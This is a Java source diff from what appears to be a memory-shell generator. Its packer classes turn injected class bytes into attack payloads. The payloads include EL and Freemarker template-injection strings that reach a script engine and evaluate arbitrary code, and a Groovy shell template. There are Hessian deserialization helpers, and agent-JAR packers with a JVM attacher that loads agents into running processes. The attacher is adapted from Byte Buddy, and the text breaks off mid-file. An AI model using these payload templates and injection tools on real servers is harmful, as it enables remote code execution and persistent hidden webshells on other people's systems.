package com.reajason.javaweb.packer.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -0,0 +1,65 @@
package com.reajason.javaweb.packer.deserialize.utils;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
@SuppressWarnings("restriction")
public class Reflections {
static {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.el;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class ELPacker implements Packer {
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.freemarker;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class FreemarkerPacker implements Packer {
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.groovy;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2025/5/11
*/
public class GroovyClassDefinerPacker implements Packer {
String template = null;
public GroovyClassDefinerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.groovy")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str());
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.packer.groovy;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyPacker implements AggregatePacker {
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.groovy;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/13
*/
public class GroovyScriptEnginePacker implements Packer {
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,155 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.Map;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarPacker implements JarPacker {
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
Manifest manifest = createManifest(jarPackerConfig.getMainClassName());
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
String relocatePrefix = "shade/";
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
}
return outputStream.toByteArray();
}
private Manifest createManifest(String agentClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
String path = sourceUrlString.substring("jar:nested:".length());
path = path.substring(0, path.indexOf("!/"));
String[] split = path.split("/!");
String bootJarPath = split[0];
String internalJarPath = split[1];
if (tempBootPath == null) {
tempBootPath = Files.createTempDirectory("mem-shell-boot");
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.equals("META-INF/MANIFEST.MF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
}
targetJar.closeEntry();
}
}
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}
}
}
@@ -0,0 +1,174 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.jar.attach.Attacher;
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarWithJDKAttacherPacker implements JarPacker {
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
String packageName = getPackageName(jarPackerConfig.getMainClassName());
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName);
String relocatePrefix = "shade/";
Map<String, byte[]> classes = new HashMap<>();
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
classes.putAll(attacherClasses);
classes.putAll(virtualMachineClasses);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
String className = entry.getKey();
byte[] bytes = entry.getValue();
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
targetJar.write(ClassBytesShrink.shrink(bytes, true));
targetJar.closeEntry();
}
}
return outputStream.toByteArray();
}
private Manifest createManifest(String agentClass, String mainClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Main-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
String path = sourceUrlString.substring("jar:nested:".length());
path = path.substring(0, path.indexOf("!/"));
String[] split = path.split("/!");
String bootJarPath = split[0];
String internalJarPath = split[1];
if (tempBootPath == null) {
tempBootPath = Files.createTempDirectory("mem-shell-boot");
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.equals("META-INF/MANIFEST.MF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
}
targetJar.closeEntry();
}
}
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}
}
}
@@ -0,0 +1,194 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.jar.attach.Attacher;
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
import com.sun.jna.Platform;
import com.sun.jna.platform.DesktopWindow;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.objectweb.asm.Opcodes;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.*;
/**
* @author ReaJason
* @since 2025/1/1
*/
public class AgentJarWithJREAttacherPacker implements JarPacker {
private static Path tempBootPath;
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
String packageName = getPackageName(jarPackerConfig.getMainClassName());
String mainClassName = packageName + "." + Attacher.class.getSimpleName();
Manifest manifest = createManifest(jarPackerConfig.getMainClassName(), mainClassName);
String relocatePrefix = "shade/";
Map<String, byte[]> classes = new HashMap<>();
Map<String, byte[]> attacherClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(Attacher.class, packageName);
Map<String, byte[]> virtualMachineClasses = com.reajason.javaweb.buddy.ClassRenameUtils.renamePackage(VirtualMachine.class, packageName);
classes.putAll(attacherClasses);
classes.putAll(virtualMachineClasses);
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) {
addDependencies(targetJar, relocatePrefix);
addClassesToJar(targetJar, jarPackerConfig.getClassBytes(), relocatePrefix);
for (Map.Entry<String, byte[]> entry : classes.entrySet()) {
String className = entry.getKey();
byte[] bytes = entry.getValue();
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
targetJar.write(ClassBytesShrink.shrink(bytes, true));
targetJar.closeEntry();
}
String[] windowsDll = new String[]{
"win32-x86/attach_hotspot_windows.dll",
"win32-x86-64/attach_hotspot_windows.dll"
};
for (String dll : windowsDll) {
InputStream stream = this.getClass().getClassLoader().getResourceAsStream(dll);
if (stream != null) {
byte[] bytes = IOUtils.toByteArray(stream);
targetJar.putNextEntry(new JarEntry(dll));
targetJar.write(bytes);
targetJar.closeEntry();
}
}
}
return outputStream.toByteArray();
}
private Manifest createManifest(String agentClass, String mainClass) {
Manifest manifest = new Manifest();
Attributes attributes = manifest.getMainAttributes();
attributes.putValue("Manifest-Version", "1.0");
attributes.putValue("Agent-Class", agentClass);
attributes.putValue("Premain-Class", agentClass);
attributes.putValue("Main-Class", mainClass);
attributes.putValue("Can-Redefine-Classes", "true");
attributes.putValue("Can-Retransform-Classes", "true");
return manifest;
}
@SneakyThrows
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
String jnaBaseName = Platform.class.getPackage().getName().replace('.', '/');
addDependency(targetJar, Platform.class, jnaBaseName, null);
addDependency(targetJar, DesktopWindow.class, jnaBaseName, null);
}
@SneakyThrows
private void addClassesToJar(JarOutputStream targetJar, Map<String, byte[]> bytes, String relocatePrefix) {
String dependencyPackage = Opcodes.class.getPackage().getName();
for (Map.Entry<String, byte[]> entry : bytes.entrySet()) {
addClassEntry(targetJar,
entry.getKey(),
entry.getValue(),
dependencyPackage,
relocatePrefix);
}
}
@SneakyThrows
private void addClassEntry(JarOutputStream targetJar, String className, byte[] classBytes,
String dependencyPackage, String relocatePrefix) {
targetJar.putNextEntry(new JarEntry(className.replace('.', '/') + ".class"));
byte[] processedBytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(classBytes, dependencyPackage, relocatePrefix + dependencyPackage), true);
targetJar.write(processedBytes);
targetJar.closeEntry();
}
@SneakyThrows
public static void addDependency(JarOutputStream targetJar, Class<?> baseClass, String baseName, String relocatePrefix) {
URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation();
String sourceUrlString = sourceUrl.toString();
if (sourceUrlString.contains("!BOOT-INF")) {
String path = sourceUrlString.substring("jar:nested:".length());
path = path.substring(0, path.indexOf("!/"));
String[] split = path.split("/!");
String bootJarPath = split[0];
String internalJarPath = split[1];
if (tempBootPath == null) {
tempBootPath = Files.createTempDirectory("mem-shell-boot");
unzip(bootJarPath, tempBootPath.toFile().getAbsolutePath());
}
sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL();
}
try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) {
Enumeration<JarEntry> entries = sourceJar.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
String entryName = entry.getName();
if (entryName.startsWith("META-INF")
|| entryName.contains("module-info.class")) {
continue;
}
if (!entry.isDirectory()) {
try (InputStream entryStream = sourceJar.getInputStream(entry)) {
byte[] bytes = IOUtils.toByteArray(entryStream);
if (StringUtils.isNoneEmpty(relocatePrefix)) {
targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName));
if (entryName.endsWith(".class")) {
if (bytes.length > 0) {
bytes = ClassBytesShrink.shrink(ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName), true);
}
} else {
targetJar.putNextEntry(entry);
}
} else {
targetJar.putNextEntry(entry);
}
targetJar.write(bytes);
}
}
targetJar.closeEntry();
}
}
}
/**
* Extracts a JAR file to a temporary directory
*
* @param jarPath Path to the source JAR file
* @param tempPath Path to the temporary directory
*/
@SneakyThrows
public static void unzip(String jarPath, String tempPath) {
try (JarFile jarFile = new JarFile(jarPath)) {
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry jarEntry = entries.nextElement();
File targetFile = new File(tempPath, jarEntry.getName());
if (jarEntry.isDirectory()) {
targetFile.mkdirs();
continue;
}
targetFile.getParentFile().mkdirs();
try (InputStream inputStream = jarFile.getInputStream(jarEntry);
FileOutputStream outputStream = new FileOutputStream(targetFile)) {
IOUtils.copy(inputStream, outputStream);
}
}
}
}
}
@@ -0,0 +1,34 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.packer.JarPackerConfig;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
/**
* @author ReaJason
* @since 2025/1/22
*/
public class DefaultJarPacker implements JarPacker {
@Override
@SneakyThrows
public byte[] packBytes(JarPackerConfig jarPackerConfig) {
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (JarOutputStream targetJar = new JarOutputStream(byteArrayOutputStream, manifest)) {
for (Map.Entry<String, byte[]> entry : jarPackerConfig.getClassBytes().entrySet()) {
targetJar.putNextEntry(new JarEntry(entry.getKey().replace('.', '/') + ".class"));
targetJar.write(entry.getValue());
targetJar.closeEntry();
}
}
return byteArrayOutputStream.toByteArray();
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.packer.jar;
import com.reajason.javaweb.packer.JarPackerConfig;
import com.reajason.javaweb.packer.Packer;
/**
* @author ReaJason
* @since 2025/1/1
*/
public interface JarPacker extends Packer {
/**
* 将生成的类打包成 jar
*
* @param config 生成的类信息
* @return 字节数组
*/
byte[] packBytes(JarPackerConfig config);
default String getPackageName(String mainClassName) {
return mainClassName.substring(0, mainClassName.lastIndexOf("."));
}
}
@@ -0,0 +1,942 @@
package com.reajason.javaweb.packer.jar.attach;/*
* Copyright 2014 - Present Rafael Winterhalter
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.CodeSource;
import java.security.PrivilegedAction;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
/**
* Copy from <a href="https://github.com/raphw/byte-buddy/blob/master/byte-buddy-agent">Byte Buddy</a>
*/
public class Attacher {
/**
* Representation of the bootstrap {@link ClassLoader}.
*/
private static final ClassLoader BOOTSTRAP_CLASS_LOADER = null;
/**
* The character that is used to mark the beginning of the argument to the agent.
*/
private static final String AGENT_ARGUMENT_SEPARATOR = "=";
/**
* The agent provides only {@code static} utility methods and should not be instantiated.
*/
private Attacher() {
throw new UnsupportedOperationException("This class is a utility class and not supposed to be instantiated");
}
public static void main(String[] args) throws Exception {
try {
Attacher.attach(args[0]);
} catch (Exception e) {
if (!e.getMessage().equals("0")) {
throw e;
}
}
System.out.println("ok");
}
/**
* <p>
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown. The agent is not provided an argument.
* </p>
* <p>
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
* </p>
*
* @param agentJar The agent jar file.
* @param processId The target process id.
*/
public static void attach(File agentJar, String processId) {
attach(agentJar, processId, null);
}
public static void attach(String processId) {
attach(trySelfResolve(), processId, null);
}
/**
* <p>
* Attaches the given agent Jar on the target process which must be a virtual machine process. The default attachment provider
* is used for applying the attachment. This operation blocks until the attachment is complete. If the current VM does not supply
* any known form of attachment to a remote VM, an {@link IllegalStateException} is thrown.
* </p>
* <p>
* <b>Important</b>: It is only possible to attach to processes that are executed by the same operating system user.
* </p>
*
* @param agentJar The agent jar file.
* @param processId The target process id.
* @param argument The argument to provide to the agent.
*/
public static void attach(File agentJar, String processId, String argument) {
install(processId, argument, new AgentProvider.ForExistingAgent(agentJar));
}
/**
* Installs a Java agent on a target VM.
*
* @param processId The process id of the target JVM process.
* @param argument The argument to provide to the agent.
* @param agentProvider The agent provider for the agent jar or library.
*/
private static void install(String processId, String argument, AgentProvider agentProvider) {
AttachmentProvider.Accessor attachmentAccessor = AttachmentProvider.DEFAULT.attempt();
if (!attachmentAccessor.isAvailable()) {
throw new IllegalStateException("No compatible attachment provider is available");
}
try {
Class<?> virtualMachineType = attachmentAccessor.getVirtualMachineType();
String agent = agentProvider.resolve().getAbsolutePath();
Object virtualMachineInstance = virtualMachineType
.getMethod("attach", String.class)
.invoke(null, processId);
try {
virtualMachineType
.getMethod("loadAgent", String.class, String.class)
.invoke(virtualMachineInstance, agent, argument);
} finally {
virtualMachineType
.getMethod("detach")
.invoke(virtualMachineInstance);
}
} catch (RuntimeException exception) {
throw exception;
} catch (Exception exception) {
throw new IllegalStateException("Error during attachment using: " + AttachmentProvider.DEFAULT, exception);
}
}
/**
* Attempts to resolve the location of the {@link Attacher} class for a self-attachment. Doing so avoids the creation of a temporary jar file.
*
* @return The self-resolved jar file or {@code null} if the jar file cannot be located.
*/
private static File trySelfResolve() {
try {
ProtectionDomain protectionDomain = Attacher.class.getProtectionDomain();
if (protectionDomain == null) {
return null;
}
CodeSource codeSource = protectionDomain.getCodeSource();
if (codeSource == null) {
return null;
}
URL location = codeSource.getLocation();
if (!location.getProtocol().equals("file")) {
return null;
}
try {
File file = new File(location.toURI());
if (file.getPath().contains(AGENT_ARGUMENT_SEPARATOR)) {
return null;
}
return file;
} catch (URISyntaxException ignored) {
return new File(location.getPath());
}
} catch (Exception ignored) {
return null;
}
}
/**
* An attachment provider is responsible for making the Java attachment API available.
*/
public interface AttachmentProvider {
/**
* The default attachment provider to be used.
*/
AttachmentProvider DEFAULT = new Compound(ForModularizedVm.INSTANCE,
ForJ9Vm.INSTANCE,
ForStandardToolsJarVm.JVM_ROOT,
ForStandardToolsJarVm.JDK_ROOT,
ForStandardToolsJarVm.MACINTOSH,
ForUserDefinedToolsJar.INSTANCE,
ForEmulatedAttachment.INSTANCE);
/**
* Attempts the creation of an accessor for a specific JVM's attachment API.
*
* @return The accessor this attachment provider can supply for the currently running JVM.
*/
Accessor attempt();
/**
* An accessor for a JVM's attachment API.
*/
interface Accessor {
/**
* The name of the {@code VirtualMachine} class on any OpenJDK or Oracle JDK implementation.
*/
String VIRTUAL_MACHINE_TYPE_NAME = "com.sun.tools.attach.VirtualMachine";
/**
* The name of the {@code VirtualMachine} class on IBM J9 VMs.
*/
String VIRTUAL_MACHINE_TYPE_NAME_J9 = "com.ibm.tools.attach.VirtualMachine";
/**
* Determines if this accessor is applicable for the currently running JVM.
*
* @return {@code true} if this accessor is available.
*/
boolean isAvailable();
/**
* Returns {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
*
* @return {@code true} if this accessor prohibits attachment to the same virtual machine in Java 9 and later.
*/
boolean isExternalAttachmentRequired();
/**
* Returns a {@code VirtualMachine} class. This method must only be called for available accessors.
*
* @return The virtual machine type.
*/
Class<?> getVirtualMachineType();
/**
* Returns a description of a virtual machine class for an external attachment.
*
* @return A description of the external attachment.
*/
ExternalAttachment getExternalAttachment();
/**
* A canonical implementation of an unavailable accessor.
*/
enum Unavailable implements Accessor {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public boolean isAvailable() {
return false;
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
throw new IllegalStateException("Cannot read the virtual machine type for an unavailable accessor");
}
/**
* {@inheritDoc}
*/
public Class<?> getVirtualMachineType() {
